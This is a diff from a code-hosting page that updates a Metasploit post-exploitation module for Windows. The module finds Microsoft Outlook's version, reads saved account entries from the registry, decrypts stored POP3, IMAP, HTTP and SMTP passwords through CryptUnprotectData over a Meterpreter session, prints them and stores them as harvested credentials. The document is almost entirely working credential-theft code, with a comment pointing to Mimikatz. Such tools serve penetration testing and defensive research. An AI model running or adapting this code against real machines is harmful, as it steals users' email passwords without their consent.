Land #11628, Outlook credentials post module update
commit
b204c9999e
|
@ -12,33 +12,31 @@ class MetasploitModule < Msf::Post
|
|||
include Msf::Post::Windows::Priv
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Gather Microsoft Outlook Saved Password Extraction',
|
||||
'Description' => %q{
|
||||
This module extracts and decrypts saved Microsoft
|
||||
Outlook (versions 2002-2010) passwords from the Windows
|
||||
Registry for POP3/IMAP/SMTP/HTTP accounts.
|
||||
In order for decryption to be successful, this module must be
|
||||
executed under the same privileges as the user which originally
|
||||
encrypted the password.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Justin Cacak'],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Gather Microsoft Outlook Saved Password Extraction',
|
||||
'Description' => %q{
|
||||
This module extracts and decrypts saved Microsoft
|
||||
Outlook (versions 2002-2010) passwords from the Windows
|
||||
Registry for POP3/IMAP/SMTP/HTTP accounts.
|
||||
In order for decryption to be successful, this module must be
|
||||
executed under the same privileges as the user which originally
|
||||
encrypted the password.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Justin Cacak' ], # Updated to work with newer versions of Outlook (2013, 2016, Office 365)
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ])
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
def prepare_railgun
|
||||
rg = session.railgun
|
||||
if (!rg.get_dll('crypt32'))
|
||||
if !rg.get_dll('crypt32')
|
||||
rg.add_dll('crypt32')
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def decrypt_password(data)
|
||||
rg = session.railgun
|
||||
pid = client.sys.process.getpid
|
||||
|
@ -47,7 +45,7 @@ class MetasploitModule < Msf::Post
|
|||
mem = process.memory.allocate(128)
|
||||
process.memory.write(mem, data)
|
||||
|
||||
if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
|
||||
if session.sys.process.each_process.find { |i| i["pid"] == pid } ["arch"] == "x86"
|
||||
addr = [mem].pack("V")
|
||||
len = [data.length].pack("V")
|
||||
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
|
||||
|
@ -60,41 +58,48 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
|
||||
return "" if len == 0
|
||||
|
||||
decrypted_pw = process.memory.read(addr, len)
|
||||
return decrypted_pw
|
||||
end
|
||||
|
||||
# Just a wrapper to avoid copy pasta and long lines
|
||||
def get_valdata(k, name)
|
||||
@key_base = "HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
|
||||
registry_getvaldata("#{@key_base}\\#{k}", name)
|
||||
def get_valdata(key, name)
|
||||
registry_getvaldata("#{@key_base}\\#{key}", name)
|
||||
end
|
||||
|
||||
def get_registry
|
||||
#Determine if saved accounts exist within Outlook. Ignore the Address Book and Personal Folder registry entries.
|
||||
def get_registry(outlook_ver)
|
||||
# Determine if saved accounts exist within Outlook. Ignore the Address Book and Personal Folder registry entries.
|
||||
outlook_exists = 0
|
||||
saved_accounts = 0
|
||||
|
||||
|
||||
# Check for registry key based on Outlook version pulled from registry
|
||||
@key_base = "HKCU\\Software\\Microsoft\\Office\\#{outlook_ver}.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
|
||||
next_account_id = get_valdata("", 'NextAccountID')
|
||||
|
||||
if next_account_id != nil
|
||||
#Microsoft Outlook not found
|
||||
# Default to original registry key for module
|
||||
if next_account_id.nil?
|
||||
@key_base = "HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
|
||||
next_account_id = get_valdata("", 'NextAccountID')
|
||||
end
|
||||
|
||||
if !next_account_id.nil?
|
||||
# Microsoft Outlook not found
|
||||
|
||||
print_status "Microsoft Outlook found in Registry..."
|
||||
outlook_exists = 1
|
||||
registry_enumkeys(@key_base).each do |k|
|
||||
display_name = get_valdata(k, 'Display Name')
|
||||
|
||||
if display_name == nil
|
||||
#Microsoft Outlook found, but no account data saved in this location
|
||||
if display_name.nil?
|
||||
# Microsoft Outlook found, but no account data saved in this location
|
||||
next
|
||||
end
|
||||
|
||||
#Account found - parse through registry data to determine account type. Parse remaining registry data after to speed up module.
|
||||
# Account found - parse through registry data to determine account type. Parse remaining registry data after to speed up module.
|
||||
saved_accounts = 1
|
||||
got_user_pw = 0
|
||||
accountname = get_valdata(k, 'Account Name')
|
||||
|
||||
displayname = get_valdata(k, 'Display Name')
|
||||
email = get_valdata(k, 'Email')
|
||||
pop3_server = get_valdata(k, 'POP3 Server')
|
||||
|
@ -102,23 +107,23 @@ class MetasploitModule < Msf::Post
|
|||
http_server_url = get_valdata(k, 'HTTP Server URL')
|
||||
imap_server = get_valdata(k, 'IMAP Server')
|
||||
smtp_use_auth = get_valdata(k, 'SMTP Use Auth')
|
||||
if smtp_use_auth != nil
|
||||
if !smtp_use_auth.nil?
|
||||
smtp_user = get_valdata(k, 'SMTP User')
|
||||
smtp_password = get_valdata(k, 'SMTP Password')
|
||||
smtp_auth_method = get_valdata(k, 'SMTP Auth Method')
|
||||
end
|
||||
|
||||
if pop3_server != nil
|
||||
if !pop3_server.nil?
|
||||
type = "POP3"
|
||||
elsif http_server_url != nil
|
||||
elsif !http_server_url.nil?
|
||||
type = "HTTP"
|
||||
elsif imap_server != nil
|
||||
elsif !imap_server.nil?
|
||||
type = "IMAP"
|
||||
else
|
||||
type = "UNKNOWN"
|
||||
end
|
||||
|
||||
#Decrypt password and output results. Need to do each separately due to the way Microsoft stores them.
|
||||
# Decrypt password and output results. Need to do each separately due to the way Microsoft stores them.
|
||||
print_good("Account Found:")
|
||||
print_status(" Type: #{type}")
|
||||
print_status(" User Display Name: #{displayname}")
|
||||
|
@ -131,10 +136,10 @@ class MetasploitModule < Msf::Post
|
|||
smtp_port = get_valdata(k, 'SMTP Port')
|
||||
|
||||
print_status(" User Name: #{pop3_user}")
|
||||
if pop3_pw == nil
|
||||
if pop3_pw.nil?
|
||||
print_status(" User Password: <not stored>")
|
||||
else
|
||||
pop3_pw.slice!(0,1)
|
||||
pop3_pw.slice!(0, 1)
|
||||
pass = decrypt_password(pop3_pw)
|
||||
print_status(" User Password: #{pass}")
|
||||
# Prepare data for creds
|
||||
|
@ -143,21 +148,21 @@ class MetasploitModule < Msf::Post
|
|||
user = pop3_user
|
||||
end
|
||||
|
||||
if pop3_use_spa != nil #Account for SPA (NTLM auth)
|
||||
if !pop3_use_spa.nil? # Account for SPA (NTLM auth)
|
||||
print_status(" Secure Password Authentication (SPA): Enabled")
|
||||
end
|
||||
|
||||
print_status(" Incoming Mail Server (POP3): #{pop3_server}")
|
||||
|
||||
pop3_use_ssl = get_valdata(k, 'POP3 Use SSL')
|
||||
if pop3_use_ssl == nil
|
||||
if pop3_use_ssl.nil?
|
||||
print_status(" POP3 Use SSL: No")
|
||||
else
|
||||
print_status(" POP3 Use SSL: Yes")
|
||||
end
|
||||
|
||||
pop3_port = get_valdata(k, 'POP3 Port')
|
||||
if pop3_port == nil
|
||||
if pop3_port.nil?
|
||||
print_status(" POP3 Port: 110")
|
||||
portnum = 110
|
||||
else
|
||||
|
@ -165,16 +170,16 @@ class MetasploitModule < Msf::Post
|
|||
portnum = pop3_port
|
||||
end
|
||||
|
||||
if smtp_use_auth == nil # Account for SMTP servers requiring authentication
|
||||
if smtp_use_auth.nil? # Account for SMTP servers requiring authentication
|
||||
print_status(" Outgoing Mail Server (SMTP): #{smtp_server}")
|
||||
else
|
||||
print_status(" Outgoing Mail Server (SMTP): #{smtp_server} [Authentication Required]")
|
||||
# Check if smtp_auth_method is null. If so, the inbound credentials are utilized
|
||||
if smtp_auth_method == nil
|
||||
if smtp_auth_method.nil?
|
||||
smtp_user = pop3_user
|
||||
smtp_decrypted_password = pass
|
||||
else
|
||||
smtp_password.slice!(0,1)
|
||||
smtp_password.slice!(0, 1)
|
||||
smtp_decrypted_password = decrypt_password(smtp_password)
|
||||
end
|
||||
print_status(" Outgoing Mail Server (SMTP) User Name: #{smtp_user}")
|
||||
|
@ -182,13 +187,13 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
|
||||
smtp_use_ssl = get_valdata(k, 'SMTP Use SSL')
|
||||
if smtp_use_ssl == nil
|
||||
if smtp_use_ssl.nil?
|
||||
print_status(" SMTP Use SSL: No")
|
||||
else
|
||||
print_status(" SMTP Use SSL: Yes")
|
||||
end
|
||||
|
||||
if smtp_port == nil
|
||||
if smtp_port.nil?
|
||||
print_status(" SMTP Port: 25")
|
||||
smtp_port = 25
|
||||
else
|
||||
|
@ -201,17 +206,17 @@ class MetasploitModule < Msf::Post
|
|||
http_use_spa = get_valdata(k, 'HTTP Use SPA')
|
||||
|
||||
print_status(" User Name: #{http_user}")
|
||||
if http_password == nil
|
||||
if http_password.nil?
|
||||
print_status(" User Password: <not stored>")
|
||||
else
|
||||
http_password.slice!(0,1)
|
||||
http_password.slice!(0, 1)
|
||||
pass = decrypt_password(http_password)
|
||||
print_status(" User Password: #{pass}")
|
||||
got_user_pw = 1
|
||||
host = http_server_url
|
||||
user = http_user
|
||||
|
||||
#Detect 80 or 443 for creds
|
||||
# Detect 80 or 443 for creds
|
||||
http_server_url.downcase!
|
||||
if http_server_url.include? "h\x00t\x00t\x00p\x00s"
|
||||
portnum = 443
|
||||
|
@ -220,7 +225,7 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
end
|
||||
|
||||
if http_use_spa != nil #Account for SPA (NTLM auth)
|
||||
if !http_use_spa.nil? # Account for SPA (NTLM auth)
|
||||
print_status(" Secure Password Authentication (SPA): Enabled")
|
||||
end
|
||||
|
||||
|
@ -233,10 +238,10 @@ class MetasploitModule < Msf::Post
|
|||
smtp_port = get_valdata(k, 'SMTP Port')
|
||||
|
||||
print_status(" User Name: #{imap_user}")
|
||||
if imap_password == nil
|
||||
if imap_password.nil?
|
||||
print_status(" User Password: <not stored>")
|
||||
else
|
||||
imap_password.slice!(0,1)
|
||||
imap_password.slice!(0, 1)
|
||||
pass = decrypt_password(imap_password)
|
||||
print_status(" User Password: #{pass}")
|
||||
got_user_pw = 1
|
||||
|
@ -244,21 +249,21 @@ class MetasploitModule < Msf::Post
|
|||
user = imap_user
|
||||
end
|
||||
|
||||
if imap_use_spa != nil #Account for SPA (NTLM auth)
|
||||
if !imap_use_spa.nil? # Account for SPA (NTLM auth)
|
||||
print_status(" Secure Password Authentication (SPA): Enabled")
|
||||
end
|
||||
|
||||
print_status(" Incoming Mail Server (IMAP): #{imap_server}")
|
||||
|
||||
imap_use_ssl = get_valdata(k, 'IMAP Use SSL')
|
||||
if imap_use_ssl == nil
|
||||
if imap_use_ssl.nil?
|
||||
print_status(" IMAP Use SSL: No")
|
||||
else
|
||||
print_status(" IMAP Use SSL: Yes")
|
||||
end
|
||||
|
||||
imap_port = get_valdata(k, 'IMAP Port')
|
||||
if imap_port == nil
|
||||
if imap_port.nil?
|
||||
print_status(" IMAP Port: 143")
|
||||
portnum = 143
|
||||
else
|
||||
|
@ -266,16 +271,16 @@ class MetasploitModule < Msf::Post
|
|||
portnum = imap_port
|
||||
end
|
||||
|
||||
if smtp_use_auth == nil # Account for SMTP servers requiring authentication
|
||||
if smtp_use_auth.nil? # Account for SMTP servers requiring authentication
|
||||
print_status(" Outgoing Mail Server (SMTP): #{smtp_server}")
|
||||
else
|
||||
print_status(" Outgoing Mail Server (SMTP): #{smtp_server} [Authentication Required]")
|
||||
# Check if smtp_auth_method is null. If so, the inbound credentials are utilized
|
||||
if smtp_auth_method == nil
|
||||
if smtp_auth_method.nil?
|
||||
smtp_user = imap_user
|
||||
smtp_decrypted_password = pass
|
||||
else
|
||||
smtp_password.slice!(0,1)
|
||||
smtp_password.slice!(0, 1)
|
||||
smtp_decrypted_password = decrypt_password(smtp_password)
|
||||
end
|
||||
print_status(" Outgoing Mail Server (SMTP) User Name: #{smtp_user}")
|
||||
|
@ -283,13 +288,13 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
|
||||
smtp_use_ssl = get_valdata(k, 'SMTP Use SSL')
|
||||
if smtp_use_ssl == nil
|
||||
if smtp_use_ssl.nil?
|
||||
print_status(" SMTP Use SSL: No")
|
||||
else
|
||||
print_status(" SMTP Use SSL: Yes")
|
||||
end
|
||||
|
||||
if smtp_port == nil
|
||||
if smtp_port.nil?
|
||||
print_status(" SMTP Port: 25")
|
||||
smtp_port = 25
|
||||
else
|
||||
|
@ -310,7 +315,7 @@ class MetasploitModule < Msf::Post
|
|||
credential_data = {
|
||||
origin_type: :session,
|
||||
session_id: session_db_id,
|
||||
post_reference_name: self.refname,
|
||||
post_reference_name: refname,
|
||||
username: user,
|
||||
private_data: pass,
|
||||
private_type: :password
|
||||
|
@ -327,7 +332,7 @@ class MetasploitModule < Msf::Post
|
|||
create_credential_login(login_data.merge(service_data))
|
||||
end
|
||||
|
||||
if smtp_use_auth != nil
|
||||
if !smtp_use_auth.nil?
|
||||
service_data = {
|
||||
address: Rex::Socket.getaddress(smtp_server),
|
||||
port: smtp_port,
|
||||
|
@ -339,7 +344,7 @@ class MetasploitModule < Msf::Post
|
|||
credential_data = {
|
||||
origin_type: :session,
|
||||
session_id: session_db_id,
|
||||
post_reference_name: self.refname,
|
||||
post_reference_name: refname,
|
||||
username: smtp_user,
|
||||
private_data: smtp_decrypted_password,
|
||||
private_type: :password
|
||||
|
@ -357,8 +362,7 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
|
||||
print_status("")
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if outlook_exists == 0
|
||||
|
@ -369,9 +373,23 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
end
|
||||
|
||||
def outlook_version
|
||||
val = registry_getvaldata("HKCR\\Outlook.Application\\CurVer", "")
|
||||
if !val.nil?
|
||||
idx = val.rindex(".")
|
||||
val[idx + 1..-1]
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
uid = session.sys.config.getuid # Get uid. Decryption will only work if executed under the same user account as the password was encrypted.
|
||||
|
||||
# Get Outlook version from registry
|
||||
outlook_ver = outlook_version
|
||||
fail_with(Failure::NotFound, "Microsoft Outlook version not found in registry.") if outlook_ver.nil?
|
||||
|
||||
print_status("Microsoft Outlook Version: #{outlook_ver}")
|
||||
uid = session.sys.config.getuid # Get uid. Decryption will only work if executed under the same user account as the password was encrypted.
|
||||
# **This isn't entirely true. The Master key and decryption can be retrieved using Mimikatz but it seems like more work than it's worth.
|
||||
|
||||
if is_system?
|
||||
print_error("This module is running under #{uid}.")
|
||||
|
@ -380,7 +398,7 @@ class MetasploitModule < Msf::Post
|
|||
else
|
||||
print_status("Searching for Microsoft Outlook in Registry...")
|
||||
prepare_railgun
|
||||
get_registry()
|
||||
get_registry(outlook_ver)
|
||||
end
|
||||
|
||||
print_status("Complete")
|
||||
|
|
Loading…
Reference in New Issue